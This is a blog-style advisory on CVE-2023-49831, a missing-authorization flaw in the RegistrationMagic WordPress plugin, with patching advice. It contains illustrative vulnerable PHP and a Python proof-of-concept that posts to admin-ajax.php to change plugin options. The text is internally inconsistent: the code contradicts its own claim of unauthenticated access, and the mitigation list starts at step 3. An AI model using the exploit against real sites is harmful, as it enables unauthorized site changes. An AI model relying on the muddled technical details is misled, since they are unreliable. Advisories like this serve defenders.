Introduction
When it comes to WordPress sites, user registrations are handled by numerous plugins. One popular plugin is RegistrationMagic, developed by Metagauss. However, a significant security issue was discovered—CVE-2023-49831—which could expose your site to unauthorized access if left unpatched.

In this post, we'll break down what the vulnerability is, how it can be exploited, and what you can do to protect yourself. This information is written in clear American English for everyone, technical and non-technical readers alike.

What is CVE-2023-49831?

CVE-2023-49831 is a Missing Authorization (or sometimes called "improper access control") vulnerability in RegistrationMagic. This issue exists in all plugin versions up to and including v5.2.3..

Why is it dangerous?

This flaw allows attackers to exploit incorrectly configured access control settings. In simple terms: actions that should only be allowed by admins can sometimes be done by regular users or even unauthenticated visitors.

Official Reference

- NVD Details - CVE-2023-49831
- RegistrationMagic Plugin Page

Let’s look at how this vulnerability works.

The plugin runs multiple AJAX actions (basically background requests) to manage registration forms. Some of these actions weren't checking if the user is authorized to perform them. This means that an attacker could directly call certain AJAX actions and manipulate forms, user data, or system settings.

Here's an example (simplified for this post)

// Inside the plugin's AJAX handling code
function process_magic_form() {
    // MISSING: is_user_logged_in() OR current_user_can('manage_options')
    $form_id = $_POST['form_id'];
    $data = $_POST['data'];

    // Process form data...
    update_option('registrationmagic_form_' . $form_id, $data);

    echo "Success";
    wp_die(); // Stop execution
}
add_action('wp_ajax_rg_process_form', 'process_magic_form');
// MISSING: add_action('wp_ajax_nopriv_rg_process_form', 'process_magic_form');

If a request is made directly to /wp-admin/admin-ajax.php?action=rg_process_form with certain POST data, it updates plugin options *without* checking permissions!

A real-world attack might look like this

1. Attacker prepares a script to send a POST request to the vulnerable AJAX endpoint, providing whatever form_id and data they want.
2. They submit the request, updating the settings or registration forms, potentially opening the door for further attacks (like registering admin accounts, enabling harmful modules, or injecting code).

Example Exploit (Python)

import requests

url = "https://victim-site.com/wp-admin/admin-ajax.php";
payload = {
    'action': 'rg_process_form',
    'form_id': '1',
    'data': 'malicious_form_data_here'
}

# No authentication required!
r = requests.post(url, data=payload)
print("Server response:", r.text)

If successful, the attacker would see "Success" and the form data would be changed.

Who is affected?

All users of RegistrationMagic from n/a (unknown earliest version) through 5.2.3..
If you installed this plugin before 2024, you may be at risk.

Update immediately.

Developers released patched versions after 5.2.3., which properly enforce role and capability checks.

Make sure nothing suspicious is present after patch.

3. Review access logs for suspicious requests to admin-ajax.php (specifically for the vulnerable actions).

4. Consider a security plugin for extra defense, like Wordfence or Sucuri.

Patched Version: After 5.2.3.

- National Vulnerability Database Entry
- Patch info from WPScan

Conclusion

CVE-2023-49831 is a critical bug in a widely-used WordPress plugin, RegistrationMagic. If you manage a WordPress site using this plugin, *update now*. Even non-technical users can follow this simple advice. Never underestimate access control mistakes—they are one of the easiest paths for attackers to take over your site.

Stay secure, stay updated!

Have questions about this vulnerability or WordPress security? Drop them in the comments below, or check out the references for more details.

Timeline

Published on: 12/09/2024 13:15:36 UTC